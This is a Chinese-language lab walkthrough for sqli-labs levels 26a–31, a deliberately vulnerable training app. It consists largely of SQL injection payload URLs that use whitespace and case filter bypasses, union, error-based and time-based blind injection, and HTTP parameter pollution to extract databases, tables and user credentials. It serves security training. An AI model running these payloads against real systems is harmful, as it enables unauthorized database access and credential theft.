title: sql-labs 26a-31
tags: sql-labs
abbrlink: 2f30fe91
date: 2022-08-24 16:05:34

Less-26a

1. http://127.0.0.1/sqli/Less-26a/?id=1 返回数据正常
2. http://127.0.0.1/sqli/Less-26a/?id=1' 此时没有数据返回
3. http://127.0.0.1/sqli/Less-26a/?id=1') ;%00此时我们可以得到返回正常的数据

4. 代码中  //print_r(mysql_error()); 屏蔽了返回的错误,所以这里我们不能使用报错注入。我们使用联合查询注入

5. http://127.0.0.1/sqli/Less-26a/?id=111') %a0 union %a0 select %a0  1,2,3;%00 直接将所有的空格替换为%a0,根据hint得到可以回显的位置。(特别感谢网络上无偿提供搭建环境的人,感谢您的帮助)
6. http://127.0.0.1/sqli/Less-26a/?id=111') %a0 union %a0 select %a0  1,2,group_concat(schema_name)  %a0 from %a0  infoorrmation_schema.schemata     ;%00  获取所有的数据库
7. 记得空格使用%a0进行替换,不要直接复制ppt,因为里面的英文逗号会被转成中文的

Less-27

%a0 -- 空格

1. http://121.199.30.46/Less-27/?id=1 有数据
2. http://121.199.30.46/Less-27/?id=1' 此时报错,说明可能存在注入
3. http://121.199.30.46/Less-27/?id=1';%00 成功将单引号进行闭合掉,说明存在注入
4. http://121.199.30.46/Less-27/?id=1'   %a0 order %a0  by  %a0  3    ;%00  根据hint可以进行这样的order by
5. http://121.199.30.46/Less-27/?id=1'   %a0 union  %a0  select  %a0 1, 2, 3    ;%00 此时返回错误,我们看下源码

发现union select等关键字被替换为空,我们尝试大小写混合

6. http://121.199.30.46/Less-27/?id=1'   %a0 uNion  %a0  sElect  %a0 1, 2, 3    ;%00 此时返回正常数据

7. http://121.199.30.46/Less-27/?id=111'   %a0 uNion  %a0  sElect  %a0 1, 2, group_concat(schema_name)  %a0  from  %a0 information_schema.schemata    ;%00  拿到所有的数据库,一定要留意hint的提示

使用报错注入

1. http://121.199.30.46/Less-27/?id=1'  %a0 ||    %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1  首先拿到数据库名称
2. http://121.199.30.46/Less-27/?id=1'  %a0 ||  updatexml(1, concat(0x7e, (  SEleCt %a0  schema_name  %a0 from  %a0   information_schema.schemata  %a0 limit %a0 1,1  ) ),1)  || %a0  '1'='1  通过这样查,可以拿到所有的库信息。
3. http://121.199.30.46/Less-27/?id=1'  %a0 ||  updatexml(1, concat(0x7e, (  SEleCt %a0  table_name  %a0 from  %a0   information_schema.tables %a0 where %a0 table_schema =  0x7365637572697479 %a0 limit %a0 1,1  ) ),1)  || %a0  '1'='1 通过遍历所有的表的值
4. http://121.199.30.46/Less-27/?id=1'  %a0 ||  updatexml(1, concat(0x7e, ( SEleCt %a0  column_name %a0  from %a0  information_schema.columns %a0  where %a0   table_name = 0x7573657273  %a0 limit %a0 1,1  ) ),1)  || %a0  '1'='1 通过遍历取出所以都字段
5. http://121.199.30.46/Less-27/?id=1'  %a0 ||  updatexml(1, concat(0x7e, ( SElect %a0  concat_ws(0x7e,username,password) from  %a0  security.users  %a0 limit %a0 1,1  ) ),1)  || %a0 '1'='1

Less-27a

1. http://47.100.118.240:8888/Less-27a/?id=1 有数据
2. http://47.100.118.240:8888/Less-27a/?id=1' 此时没有报错,我们将显示sql语句的代码加到代码中。
3. http://47.100.118.240:8888/Less-27a/?id=1";%00  此时显示正常,但是报错的信息不会显示在代码中。
4. http://47.100.118.240:8888/Less-27a/?id=1111" %a0  uNIon  %a0   sElEct  %a0    1,2,3     ;%00 得到数据可以回显的位置。
5. http://47.100.118.240:8888/Less-27a/?id=1111" %a0  uNIon  %a0   sElEct  %a0    1,2, group_concat(schema_name) from    %a0  information_schema.schemata     ;%00 取出了所有的库
6. http://47.100.118.240:8888/Less-27a/?id=1111" %a0  uNIon  %a0   sElEct  %a0    1,2, group_concat(table_name) from  %a0    information_schema.tables %a0    where  %a0    table_schema = 0x7365637572697479     ;%00 取出了所有的表
7. http://47.100.118.240:8888/Less-27a/?id=1111" %a0  uNIon  %a0   sElEct  %a0    1,2, group_concat(column_name) %a0  from %a0 information_schema.columns  %a0 where %a0  table_name = 0x7573657273    ;%00 取出了所有的字段名
8. http://47.100.118.240:8888/Less-27a/?id=1111" %a0  uNIon  %a0   sElEct  %a0    1,2, group_concat(concat_ws(0x7e,username,password))  %a0  from  %a0  security.users  ;%00 取出所有的字段值

法二:使用基于时间的盲注 其中 %26%26 代表 &&

1. http://47.100.118.240:8888/Less-27a/?id=1" %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  "1"="1 

注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会是真。

2. http://47.100.118.240:8888/Less-27a/?id=1111" || if( length(database())=1, 1, sleep(5)    )  %26%26  %0a  "1"="1 这样写也是可以的

Less-28

我们在mysql命令行中执行以下命令:
 1. select * from users ;  显示所有的数据
2. select true ;   返回结果是1,也就是代表正确
3. select false;  返回结果是0,代表着错误
4. select (2  and 1=2); 返回结果是 0
5. select (2  or 1=2);  返回结果是 1
6. select * from users where id=(1); 此时返回第一列数据
7. select * from users where id=(true); 此时返回也是第一列
以上问题说明,我们的id值处理有问题,正确的语句应该是:
 SELECT * FROM users WHERE id=('1'||'1'='2') LIMIT 0,1

1. http://47.100.118.240:8888/Less-28/?id=1 显示正常
2. http://47.100.118.240:8888/Less-28/?id=1' 此时显示不正常,说明可能存在注入漏洞
3. http://47.100.118.240:8888/Less-28/?id=1')   ;%00 通过我们添加的代码可以将单引号进行补全。
4. http://47.100.118.240:8888/Less-28/?id=1')  %a0 order  %a0  by %a0  3 ;%00 通过order by 和%a0组合得到一共有三列
5. http://47.100.118.240:8888/Less-28/?id=1111')  %a0 union   %a0  select  %a0  1,2,3 ;%00 此时可以得到回显位。
6. http://47.100.118.240:8888/Less-28/?id=1111')  %a0 union   %a0  select  %a0  1,2,group_concat(schema_name) %a0  from  %a0   information_schema.schemata  ;%00 获得所有的库,与less-27基本相同。
7. http://47.100.118.240:8888/Less-28/?id=111')  %a0   union %a0   select %a0  1,2,3    ||  ('1') = ('1  我们也可以使用or来闭合,这种是不使用;%00的情况。

法二:基于时间的盲注
1. http://47.100.118.240:8888/Less-28/?id=1')  %a0   %26%26 if( length(database())>1, 1, sleep(5)    ) ;%00 
2. http://47.100.118.240:8888/Less-28/?id=1')  %a0   %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26  ('1')=('1
这两种都是可以的

Less-28a

1. http://47.100.118.240:8888/Less-28a/?id=1 此时显示正常
2. http://47.100.118.240:8888/Less-28a/?id=1' 有报错,可能存在注入
3. http://47.100.118.240:8888/Less-28a/?id=1')  %a0 order  %a0  by %a0  3 ;%00  利用order by语句得到一共有3列。
4. http://47.100.118.240:8888/Less-28a/?id=1111') %a0 union   %a0  select  %a0  1,2,3 ;%00  此时得到数据可以显示的位置。
5. http://47.100.118.240:8888/Less-28a/?id=1111') %a0 union   %a0  select  %a0  1,2,group_concat(schema_name) %a0  from  %a0   information_schema.schemata ;%00  得到所有的库
6. 其余的操作和less-27基本无异。
法二:基于时间的盲注
1. http://47.100.118.240:8888/Less-28a/?id=11111') %a0  or  %a0   if( length(database())=8, 1, sleep(5)    ) --+
或者是
2. http://47.100.118.240:8888/Less-28a/?id=1') %a0  and  %a0   if( length(database())=8, 1, sleep(5)    ) --+  此时要确保前面的id值是可以查到的,不能使用一个不存在的id值。

Less-29

  1. 需要搭建jsp服务
  2. 我们可以使用jspstudy在本地搭建,端口设置为8080
  3. phpstudy端口设置为80
  4. 修改jsp中的文件index.jsp文件的url指向位置到你安装sqli-labs中的less29下
  5. 不然就和第一关没什么两样

  • 服务器两层架构
http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值

1. http://127.0.0.1:8080/sqli_/Less-29/index.jsp?id=1&id=3'  order by 3--+ 说明数据有3列,而且第一个id值无法注入
2. http://127.0.0.1:8080/sqli_/Less-29/index.jsp?id=1&id=113'  union select 1,2, 3  --+ 已经知道数据回显的位置
3. http://127.0.0.1:8080/sqli_/Less-29/index.jsp?id=1&id=113'  union select 1,2, group_concat(schema_name) from    information_schema.schemata --+  此时我们已经取出数据库的名字。
4. 接下来就是常规的操作,和less1基本一致

Less-30

1. http://127.0.0.1:8080/sqli_/Less-30/index.jsp?id=1&id=1" order by 3--+  这里显示是正常的,4的时候是不正常的,但是显示异常并没有显示报错的信息。说明无法使用报错注入。
2. 接下里和less29相同
3. http://127.0.0.1:8080/sqli_/Less-30/index.jsp?id=1&id=11111" union select 1,2, 3--+
4. http://127.0.0.1:8080/sqli_/Less-30/index.jsp?id=1&id=11111" union select 1,2, group_concat(schema_name) from    information_schema.schemata --+  接下来就是常规操作了。

Less-31

1. http://127.0.0.1:8080/sqli_/Less-31/index.jsp?id=1&id=-1 ") union select 1,2,3 --+ 
2. http://127.0.0.1:8080/sqli_/Less-31/index.jsp?id=1&id=-1 ") union select 1,2,group_concat(schema_name) from    information_schema.schemata --+   

操作和前面的基本相同